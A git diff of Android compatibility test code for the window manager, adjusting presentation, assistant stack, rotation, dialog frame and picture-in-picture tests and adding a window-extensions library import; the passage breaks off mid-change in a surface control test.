index 981f59f..e17658a 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -591,6 +591,7 @@
android:exported="true" />
<activity
android:name=".PresentationActivity"
+ android:launchMode="singleTop"
android:exported="true" />
</application>
</manifest>
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
index 3adf5d7..fd44271 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LaunchPipOnPipActivity.java
@@ -26,7 +26,6 @@
public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode,
Configuration newConfig) {
super.onPictureInPictureModeChanged(isInPictureInPictureMode, newConfig);
- AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this,
- getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK));
+ AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this, false);
}
}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PresentationActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PresentationActivity.java
index fc5490e..cdbae07 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PresentationActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PresentationActivity.java
@@ -18,6 +18,7 @@
import android.app.Activity;
import android.app.Presentation;
+import android.content.Intent;
import android.graphics.Color;
import android.hardware.display.DisplayManager;
import android.os.Bundle;
@@ -30,31 +31,39 @@
public class PresentationActivity extends Activity {
private static final String TAG = PresentationActivity.class.getSimpleName();
+ private Presentation mPresentation;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
+ createPresentationWindow(getIntent());
+ }
- int displayId = getIntent().getExtras().getInt(
+ @Override
+ protected void onNewIntent(Intent intent) {
+ super.onNewIntent(intent);
+ createPresentationWindow(intent);
+ }
+
+ private void createPresentationWindow(Intent intent) {
+ int displayId = intent.getExtras().getInt(
Components.PresentationActivity.KEY_DISPLAY_ID);
Display presentationDisplay =
getSystemService(DisplayManager.class).getDisplay(displayId);
- createPresentationWindow(presentationDisplay);
- }
-
- private void createPresentationWindow(Display display) {
final TextView view = new TextView(this);
view.setText("I'm a presentation");
view.setGravity(Gravity.CENTER);
view.setBackgroundColor(Color.RED);
-
- final Presentation presentation = new Presentation(this, display);
- presentation.setContentView(view);
- presentation.setTitle(getPackageName());
+ if (mPresentation != null) {
+ mPresentation.dismiss();
+ }
+ mPresentation = new Presentation(this, presentationDisplay);
+ mPresentation.setContentView(view);
+ mPresentation.setTitle(getPackageName());
try {
- presentation.show();
+ mPresentation.show();
} catch (WindowManager.InvalidDisplayException e) {
Log.w(TAG, "Presentation blocked", e);
}
diff --git a/tests/framework/base/windowmanager/jetpack/Android.bp b/tests/framework/base/windowmanager/jetpack/Android.bp
index f330299..f0cc7cc 100644
--- a/tests/framework/base/windowmanager/jetpack/Android.bp
+++ b/tests/framework/base/windowmanager/jetpack/Android.bp
@@ -13,6 +13,21 @@
// limitations under the License.
android_library_import {
+ name: "cts_window-extensions_nodeps",
+ aars: ["window-extensions-release.aar"],
+ sdk_version: "current",
+}
+
+java_library {
+ name: "cts_window-extensions",
+ sdk_version: "current",
+ static_libs: [
+ "cts_window-extensions_nodeps",
+ ],
+ installable: false,
+}
+
+android_library_import {
name: "cts_window-sidecar_nodeps",
aars: ["window-sidecar-release.aar"],
sdk_version: "current",
@@ -39,8 +54,8 @@
"platform-test-annotations",
],
libs: [
- "androidx.window.extensions",
"android.test.base.stubs",
+ "cts_window-extensions",
"cts_window-sidecar",
],
test_suites: [
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
index 8880904..0686443 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
@@ -16,6 +16,8 @@
package android.server.wm.jetpack;
+import static android.server.wm.jetpack.ExtensionUtils.assertEqualsState;
+
import static com.google.common.truth.Truth.assertThat;
import static org.junit.Assume.assumeFalse;
@@ -168,8 +170,8 @@
mExtension.onDeviceStateListenersChanged(true /* isEmpty */);
TestDeviceState deviceState3 = mExtension.getDeviceState();
- assertThat(deviceState1).isEqualTo(deviceState2);
- assertThat(deviceState1).isEqualTo(deviceState3);
+ assertEqualsState(deviceState1, deviceState2);
+ assertEqualsState(deviceState1, deviceState3);
}
@Test
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionUtils.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionUtils.java
index 82b049e..1aef84e 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionUtils.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionUtils.java
@@ -21,9 +21,11 @@
import static org.junit.Assume.assumeFalse;
import android.content.Context;
+import android.server.wm.jetpack.wrapper.TestDeviceState;
import android.server.wm.jetpack.wrapper.extensionwrapperimpl.TestExtensionCompat;
import android.server.wm.jetpack.wrapper.sidecarwrapperimpl.TestSidecarCompat;
import android.server.wm.jetpack.wrapper.TestInterfaceCompat;
+import android.server.wm.jetpack.wrapper.sidecarwrapperimpl.TestSidecarDeviceState;
import android.text.TextUtils;
import android.util.Log;
@@ -53,15 +55,22 @@
}
}
+ static void assertEqualsState(TestDeviceState left, TestDeviceState right) {
+ if (left instanceof TestSidecarDeviceState && right instanceof TestSidecarDeviceState) {
+ assertThat(left.getPosture()).isEqualTo(right.getPosture());
+ } else {
+ assertThat(left).isEqualTo(right);
+ }
+ }
+
/**
* Gets the vendor provided Extension implementation if available. If not available, gets the
* Sidecar implementation (deprecated). If neither is available, returns {@code null}.
*/
@Nullable
static TestInterfaceCompat getInterfaceCompat(Context context) {
- if (!TextUtils.isEmpty(getExtensionVersion())) {
- return getExtensionInterfaceCompat(context);
- } else if (!TextUtils.isEmpty(getSidecarVersion())) {
+ // TODO(b/158876142) Reinstate android.window.extension
+ if (!TextUtils.isEmpty(getSidecarVersion())) {
return getSidecarInterfaceCompat(context);
}
return null;
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/wrapper/sidecarwrapperimpl/TestSidecarDeviceState.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/wrapper/sidecarwrapperimpl/TestSidecarDeviceState.java
index 63a2a44..76e920a 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/wrapper/sidecarwrapperimpl/TestSidecarDeviceState.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/wrapper/sidecarwrapperimpl/TestSidecarDeviceState.java
@@ -24,7 +24,7 @@
/** Extension interface compatibility wrapper for v0.1 sidecar. */
@SuppressWarnings("deprecation")
-final class TestSidecarDeviceState implements TestDeviceState {
+public final class TestSidecarDeviceState implements TestDeviceState {
@Nullable
static TestSidecarDeviceState create(@Nullable SidecarDeviceState sidecarDeviceState) {
diff --git a/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar b/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar
new file mode 100644
index 0000000..0ebbb86
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar
Binary files differ
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index e005059..859eb29 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -64,12 +64,10 @@
import android.hardware.display.DisplayManager;
import android.os.Bundle;
import android.platform.test.annotations.Presubmit;
-import android.provider.Settings;
import android.server.wm.CommandSession.ActivitySession;
import android.server.wm.CommandSession.ConfigInfo;
import android.server.wm.CommandSession.SizeInfo;
import android.server.wm.TestJournalProvider.TestJournalContainer;
-import android.server.wm.settings.SettingsSession;
import android.view.Display;
import org.junit.Test;
@@ -452,10 +450,9 @@
public void testRotatedInfoWithFixedRotationTransform() {
assumeTrue("Skipping test: no rotation support", supportsRotation());
- // TODO(b/143053092): Remove the settings if it becomes stable.
- mObjectTracker.manage(new SettingsSession<>(
- Settings.Global.getUriFor("fixed_rotation_transform"),
- Settings.Global::getInt, Settings.Global::putInt)).set(1);
+ // Start a portrait activity first to ensure that the orientation will change.
+ launchActivity(PORTRAIT_ORIENTATION_ACTIVITY);
+ mWmState.waitForLastOrientation(SCREEN_ORIENTATION_PORTRAIT);
getLaunchActivityBuilder()
.setUseInstrumentation()
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
index e30e826b..267bec9 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
@@ -25,7 +25,7 @@
import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
import static android.server.wm.WindowManagerState.STATE_RESUMED;
import static android.server.wm.ComponentNameUtils.getActivityName;
-import static android.server.wm.UiDeviceUtils.pressBackButton;
+import static android.server.wm.UiDeviceUtils.pressHomeButton;
import static android.server.wm.app.Components.ANIMATION_TEST_ACTIVITY;
import static android.server.wm.app.Components.ASSISTANT_ACTIVITY;
import static android.server.wm.app.Components.ASSISTANT_VOICE_INTERACTION_SERVICE;
@@ -172,11 +172,22 @@
TEST_ACTIVITY, ACTIVITY_TYPE_STANDARD, expectedWindowingMode);
}
- mWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
- mWmState.assertFrontStack("Fullscreen stack should be on top.",
- expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
- mWmState.assertFocusedStack("Fullscreen stack should be focused.",
- expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
+ if (isAssistantOnTop()) {
+ // If the assistant is configured to be always-on-top, then the new task should have
+ // been started behind it and the assistant stack should still be on top.
+ mWmState.assertFocusedActivity(
+ "AssistantActivity should be focused", ASSISTANT_ACTIVITY);
+ mWmState.assertFrontStackActivityType(
+ "Assistant stack should be on top.", ACTIVITY_TYPE_ASSISTANT);
+ mWmState.assertFocusedStack("Assistant stack should be focused.",
+ WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+ } else {
+ mWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
+ mWmState.assertFrontStack("Fullscreen stack should be on top.",
+ expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
+ mWmState.assertFocusedStack("Fullscreen stack should be focused.",
+ expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
+ }
// Now, tell it to finish itself and ensure that the assistant stack is brought back forward
mBroadcastActionTrigger.doAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
@@ -189,6 +200,13 @@
@Test
public void testAssistantStackFinishToPreviousApp() throws Exception {
+ // If the Assistant is configured to be always-on-top, then the assistant activity
+ // started in setUp() will not allow any other activities to start. Therefore we should
+ // remove it before launching a fullscreen activity.
+ if (isAssistantOnTop()) {
+ removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
+ }
+
// Launch an assistant activity on top of an existing fullscreen activity, and ensure that
// the fullscreen activity is still visible and on top after the assistant activity finishes
launchActivityOnDisplay(TEST_ACTIVITY, mAssistantDisplayId);
@@ -224,7 +242,6 @@
WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
}
- @FlakyTest(bugId = 69573940)
@Test
public void testTranslucentAssistantActivityStackVisibility() throws Exception {
try (final AssistantSession assistantSession = new AssistantSession()) {
@@ -233,7 +250,8 @@
// Go home, launch the assistant and check to see that home is visible
removeStacksInWindowingModes(WINDOWING_MODE_FULLSCREEN,
WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
- launchHomeActivity();
+ pressHomeButton();
+ resumeAppSwitches();
launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
EXTRA_ASSISTANT_IS_TRANSLUCENT, "true");
waitForValidStateWithActivityType(
@@ -258,14 +276,17 @@
// Go home, launch assistant, launch app into fullscreen with activity present, and go
// back.Ensure home is visible.
removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
- launchHomeActivity();
+ pressHomeButton();
+ resumeAppSwitches();
launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
EXTRA_ASSISTANT_IS_TRANSLUCENT, "true",
EXTRA_ASSISTANT_LAUNCH_NEW_TASK, getActivityName(TEST_ACTIVITY));
waitForValidStateWithActivityTypeAndWindowingMode(
TEST_ACTIVITY, ACTIVITY_TYPE_STANDARD, WINDOWING_MODE_FULLSCREEN);
- mWmState.assertHomeActivityVisible(false);
- pressBackButton();
+
+ final ComponentName homeActivity = mWmState.getHomeActivityName();
+ mWmState.waitAndAssertVisibilityGone(homeActivity);
+ mBroadcastActionTrigger.doAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
mWmState.waitForFocusedStack(WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
assertAssistantStackExists();
mWmState.waitForHomeActivityVisible();
@@ -318,7 +339,7 @@
launchActivityOnDisplay(ANIMATION_TEST_ACTIVITY, mAssistantDisplayId);
// Wait for animation finished.
mWmState.waitForActivityState(ANIMATION_TEST_ACTIVITY, STATE_RESUMED);
- mWmState.assertVisibility(ASSISTANT_ACTIVITY, false);
+ mWmState.assertVisibility(ASSISTANT_ACTIVITY, isAssistantOnTop());
// Launch the assistant again and ensure that it goes into the same task
launchActivityOnDisplayNoWait(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
index f58152e..850870a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
@@ -160,17 +160,13 @@
+ " in landscape and reverse-landscape", sameSize);
}
- private ActivityLifecycleCounts getLifecycleCountsForRotation(ComponentName activityName,
- RotationSession session, int before, int after, boolean canHandleConfigChange) {
- final int currentRotation = mWmState.getRotation();
- // The test verifies the events from "before" rotation to "after" rotation. So when
- // preparing "before" rotation, the changes should be consumed to avoid being mixed into
- // the result to verify.
- final boolean is90DegreeDelta = Math.abs(currentRotation - before) % 2 != 0;
+ private void prepareRotation(ComponentName activityName, RotationSession session,
+ int currentRotation, int initialRotation, boolean canHandleConfigChange) {
+ final boolean is90DegreeDelta = Math.abs(currentRotation - initialRotation) % 2 != 0;
if (is90DegreeDelta) {
separateTestJournal();
}
- session.set(before);
+ session.set(initialRotation);
if (is90DegreeDelta) {
// Consume the changes of "before" rotation to make sure the activity is in a stable
// state to apply "after" rotation.
@@ -181,6 +177,15 @@
.countWithRetry("activity rotated with 90 degree delta",
countSpec(expectedCallback, CountSpec.GREATER_THAN, 0)));
}
+ }
+
+ private ActivityLifecycleCounts getLifecycleCountsForRotation(ComponentName activityName,
+ RotationSession session, int before, int after, boolean canHandleConfigChange) {
+ final int currentRotation = mWmState.getRotation();
+ // The test verifies the events from "before" rotation to "after" rotation. So when
+ // preparing "before" rotation, the changes should be consumed to avoid being mixed into
+ // the result to verify.
+ prepareRotation(activityName, session, currentRotation, before, canHandleConfigChange);
separateTestJournal();
session.set(after);
mWmState.computeState(activityName);
@@ -202,13 +207,12 @@
private void testRotation(ComponentName activityName, int rotationStep, int numRelaunch,
int numConfigChange) {
launchActivity(activityName);
-
mWmState.computeState(activityName);
final int initialRotation = 4 - rotationStep;
final RotationSession rotationSession = createManagedRotationSession();
- rotationSession.set(initialRotation);
- mWmState.computeState(activityName);
+ prepareRotation(activityName, rotationSession, mWmState.getRotation(), initialRotation,
+ numConfigChange > 0);
final int actualStackId =
mWmState.getTaskByActivity(activityName).mRootTaskId;
final int displayId = mWmState.getRootTask(actualStackId).mDisplayId;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
index 856b4fa..5b3a250 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -36,10 +36,12 @@
import static org.junit.Assert.assertEquals;
import android.content.ComponentName;
+import android.graphics.Insets;
import android.graphics.Rect;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.Presubmit;
import android.server.wm.WindowManagerState.WindowState;
+import android.view.WindowInsets;
import androidx.test.rule.ActivityTestRule;
@@ -97,9 +99,9 @@
// the same content frame as the main activity window
@Test
public void testMatchParentDialog() throws Exception {
- doParentChildTest(TEST_MATCH_PARENT, (parent, dialog) ->
- assertEquals(parent.getContentFrame(), dialog.getFrame())
- );
+ doParentChildTest(TEST_MATCH_PARENT, (parent, dialog) -> { ;
+ assertEquals(getParentFrameWithInsets(parent), dialog.getFrame());
+ });
}
private static final int explicitDimension = 200;
@@ -108,12 +110,12 @@
@Test
public void testExplicitSizeDefaultGravity() throws Exception {
doParentChildTest(TEST_EXPLICIT_SIZE, (parent, dialog) -> {
- Rect contentFrame = parent.getContentFrame();
+ Rect parentFrame = getParentFrameWithInsets(parent);
Rect expectedFrame = new Rect(
- contentFrame.left + (contentFrame.width() - explicitDimension) / 2,
- contentFrame.top + (contentFrame.height() - explicitDimension) / 2,
- contentFrame.left + (contentFrame.width() + explicitDimension) / 2,
- contentFrame.top + (contentFrame.height() + explicitDimension) / 2);
+ parentFrame.left + (parentFrame.width() - explicitDimension) / 2,
+ parentFrame.top + (parentFrame.height() - explicitDimension) / 2,
+ parentFrame.left + (parentFrame.width() + explicitDimension) / 2,
+ parentFrame.top + (parentFrame.height() + explicitDimension) / 2);
assertEquals(expectedFrame, dialog.getFrame());
});
}
@@ -121,12 +123,12 @@
@Test
public void testExplicitSizeTopLeftGravity() throws Exception {
doParentChildTest(TEST_EXPLICIT_SIZE_TOP_LEFT_GRAVITY, (parent, dialog) -> {
- Rect contentFrame = parent.getContentFrame();
+ Rect parentFrame = getParentFrameWithInsets(parent);
Rect expectedFrame = new Rect(
- contentFrame.left,
- contentFrame.top,
- contentFrame.left + explicitDimension,
- contentFrame.top + explicitDimension);
+ parentFrame.left,
+ parentFrame.top,
+ parentFrame.left + explicitDimension,
+ parentFrame.top + explicitDimension);
assertEquals(expectedFrame, dialog.getFrame());
});
}
@@ -134,12 +136,12 @@
@Test
public void testExplicitSizeBottomRightGravity() throws Exception {
doParentChildTest(TEST_EXPLICIT_SIZE_BOTTOM_RIGHT_GRAVITY, (parent, dialog) -> {
- Rect contentFrame = parent.getContentFrame();
+ Rect parentFrame = getParentFrameWithInsets(parent);
Rect expectedFrame = new Rect(
- contentFrame.left + contentFrame.width() - explicitDimension,
- contentFrame.top + contentFrame.height() - explicitDimension,
- contentFrame.left + contentFrame.width(),
- contentFrame.top + contentFrame.height());
+ parentFrame.left + parentFrame.width() - explicitDimension,
+ parentFrame.top + parentFrame.height() - explicitDimension,
+ parentFrame.left + parentFrame.width(),
+ parentFrame.top + parentFrame.height());
assertEquals(expectedFrame, dialog.getFrame());
});
}
@@ -152,7 +154,7 @@
doParentChildTest(TEST_OVER_SIZED_DIMENSIONS, (parent, dialog) ->
// With the default flags oversize should result in clipping to
// parent frame.
- assertEquals(parent.getContentFrame(), dialog.getFrame())
+ assertEquals(getParentFrameWithInsets(parent), dialog.getFrame())
);
}
@@ -166,10 +168,10 @@
// TODO(b/36890978): We only run this in fullscreen because of the
// unclear status of NO_LIMITS for non-child surfaces in MW modes
doFullscreenTest(TEST_OVER_SIZED_DIMENSIONS_NO_LIMITS, (parent, dialog) -> {
- Rect contentFrame = parent.getContentFrame();
- Rect expectedFrame = new Rect(contentFrame.left, contentFrame.top,
- contentFrame.left + oversizedDimension,
- contentFrame.top + oversizedDimension);
+ Rect parentFrame = getParentFrameWithInsets(parent);
+ Rect expectedFrame = new Rect(parentFrame.left, parentFrame.top,
+ parentFrame.left + oversizedDimension,
+ parentFrame.top + oversizedDimension);
assertEquals(expectedFrame, dialog.getFrame());
});
}
@@ -180,7 +182,7 @@
@Test
public void testExplicitPositionMatchParent() throws Exception {
doParentChildTest(TEST_EXPLICIT_POSITION_MATCH_PARENT, (parent, dialog) ->
- assertEquals(parent.getContentFrame(), dialog.getFrame())
+ assertEquals(getParentFrameWithInsets(parent), dialog.getFrame())
);
}
@@ -190,8 +192,8 @@
public void testExplicitPositionMatchParentNoLimits() throws Exception {
final int explicitPosition = 100;
doParentChildTest(TEST_EXPLICIT_POSITION_MATCH_PARENT_NO_LIMITS, (parent, dialog) -> {
- Rect contentFrame = parent.getContentFrame();
- Rect expectedFrame = new Rect(contentFrame);
+ Rect parentFrame = getParentFrameWithInsets(parent);
+ Rect expectedFrame = new Rect(parentFrame);
expectedFrame.offset(explicitPosition, explicitPosition);
assertEquals(expectedFrame, dialog.getFrame());
});
@@ -218,7 +220,7 @@
float horizontalMargin = .10f;
float verticalMargin = .15f;
doParentChildTest(TEST_WITH_MARGINS, (parent, dialog) -> {
- Rect frame = parent.getContentFrame();
+ Rect frame = getParentFrameWithInsets(parent);
Rect expectedFrame = new Rect(
(int) (horizontalMargin * frame.width() + frame.left),
(int) (verticalMargin * frame.height() + frame.top),
@@ -237,4 +239,26 @@
assertThat(wmState.getZOrder(dialog), greaterThan(wmState.getZOrder(parent)))
);
}
+
+ private Rect getParentFrameWithInsets(WindowState parent) {
+ Rect parentFrame = parent.getFrame();
+ return inset(parentFrame, getActivitySystemInsets());
+ }
+
+ private Insets getActivitySystemInsets() {
+ return mDialogTestActivity
+ .getActivity()
+ .getWindow()
+ .getDecorView()
+ .getRootWindowInsets()
+ .getInsets(WindowInsets.Type.systemBars());
+ }
+
+ private static Rect inset(Rect original, Insets insets) {
+ final int left = original.left + insets.left;
+ final int top = original.top + insets.top;
+ final int right = original.right - insets.right;
+ final int bottom = original.bottom - insets.bottom;
+ return new Rect(left, top, right, bottom);
+ }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTestBase.java
index a2ff568..3408dc9 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTestBase.java
@@ -16,16 +16,18 @@
package android.server.wm;
+import static android.view.WindowInsets.Type.navigationBars;
+import static android.view.WindowInsets.Type.statusBars;
import static android.view.WindowInsets.Type.systemBars;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
import android.app.Activity;
import android.graphics.Insets;
import android.os.Bundle;
-import android.util.Log;
import android.view.View;
import android.view.Window;
import android.view.WindowInsets;
@@ -49,6 +51,8 @@
throws Throwable {
TestActivity activity = mDecorActivity.getActivity();
assertNotNull("test setup failed", activity.mLastContentInsets);
+ assumeFalse(Insets.NONE.equals(activity.mLastContentInsets.getInsetsIgnoringVisibility(
+ statusBars() | navigationBars())));
InstrumentationRegistry.getInstrumentation().runOnMainSync(() -> {
activity.mLayoutHappened = false;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java
index 74b3c7b..2abb9de 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java
@@ -17,6 +17,7 @@
package android.server.wm;
import static android.app.ActivityTaskManager.INVALID_STACK_ID;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
import static android.server.wm.app.Components.MPP_ACTIVITY;
import static android.server.wm.app.Components.MPP_ACTIVITY2;
import static android.server.wm.app.Components.MPP_ACTIVITY3;
@@ -145,7 +146,7 @@
launchMppActivity(MPP_ACTIVITY, PREFER_MPP);
launchMppActivity(MPP_ACTIVITY2, NOT_PREFER_MPP);
- mWmState.assertVisibility(MPP_ACTIVITY, false);
+ mWmState.waitAndAssertVisibilityGone(MPP_ACTIVITY);
mWmState.assertVisibility(MPP_ACTIVITY2, true);
assertDisplayRequestedMinimalPostProcessing(MPP_ACTIVITY, NOT_PREFER_MPP);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 1d6ea9e..3ac15bb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -210,6 +210,8 @@
@Test
public void testPinnedStackInBoundsAfterRotation() {
+ assumeTrue("Skipping test: no rotation support", supportsRotation());
+
// Launch an activity that is not fixed-orientation so that the display can rotate
launchActivity(TEST_ACTIVITY);
// Launch an activity into the pinned stack
@@ -1001,6 +1003,8 @@
@Test
@FlakyTest(bugId=156314330)
public void testFinishPipActivityWithTaskOverlay() throws Exception {
+ // Trigger PiP menu activity to properly lose focuse when going home
+ launchActivity(TEST_ACTIVITY);
// Launch PiP activity
launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
waitForEnterPip(PIP_ACTIVITY);
@@ -1043,7 +1047,6 @@
assertEquals("onPause", 0, lifecycleCounts.getCount(ActivityCallback.ON_PAUSE));
}
- @FlakyTest(bugId = 156003518)
@Test
public void testPinnedStackWithDockedStack() throws Exception {
assumeTrue(supportsSplitScreenMultiWindow());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PresentationTest.java b/tests/framework/base/windowmanager/src/android/server/wm/PresentationTest.java
index 5e813d1..4b34c9b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PresentationTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PresentationTest.java
@@ -29,6 +29,10 @@
import java.util.List;
+/**
+ * Build/Install/Run:
+ * atest CtsWindowManagerDeviceTestCases:PresentationTest
+ */
@Presubmit
public class PresentationTest extends MultiDisplayTestBase {
@@ -68,6 +72,7 @@
WindowManagerState.DisplayContent display = virtualDisplaySession
.setPresentationDisplay(true)
.setPublicDisplay(true)
+ .setResizeDisplay(false) // resize only through resizeDisplay call
.createDisplay();
assertThat(display.getFlags() & Display.FLAG_PRESENTATION)
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
index 1863487..0fc4bc8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
@@ -16,6 +16,7 @@
package android.server.wm;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
import static android.server.wm.app.Components.SPLASHSCREEN_ACTIVITY;
import static android.view.Display.DEFAULT_DISPLAY;
@@ -53,6 +54,8 @@
@Test
public void testSplashscreenContent() {
launchActivityNoWait(SPLASHSCREEN_ACTIVITY);
+ // Activity may not be launched yet even if app transition is in idle state.
+ mWmState.waitForActivityState(SPLASHSCREEN_ACTIVITY, STATE_RESUMED);
mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
mWmState.getStableBounds();
final Bitmap image = takeScreenshot();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
index 7075f4c..a876088 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
@@ -208,6 +208,7 @@
// Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
// will come up.
+ launchActivity(LAUNCHING_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
launchActivity(TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
// Move activity back to fullscreen stack.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
index 00fc83b..d0aa669 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
@@ -102,7 +102,7 @@
public void testSameSurface() {
final SurfaceControl.Builder b = new SurfaceControl.Builder();
final SurfaceControl sc = b.setName("CTS").build();
- SurfaceControl copy = new SurfaceControl(sc);
+ SurfaceControl copy = new SurfaceControl(sc, "SurfaceControlTest.testSameSurface");
assertTrue(copy.isSameSurface(sc));
sc.release();
copy.release();
@@ -178,18 +178,23 @@
*/
@Test
public void testReparentOff() throws Throwable {
+ final SurfaceControl sc = buildDefaultRedSurface(null);
verifyTest(
new SurfaceControlTestCase.ParentSurfaceConsumer () {
@Override
public void addChildren(SurfaceControl parent) {
- final SurfaceControl sc = buildDefaultRedSurface(parent);
-
+ new SurfaceControl.Transaction().reparent(sc, parent).apply();
new SurfaceControl.Transaction().reparent(sc, null).apply();
-
- sc.release();
}
},
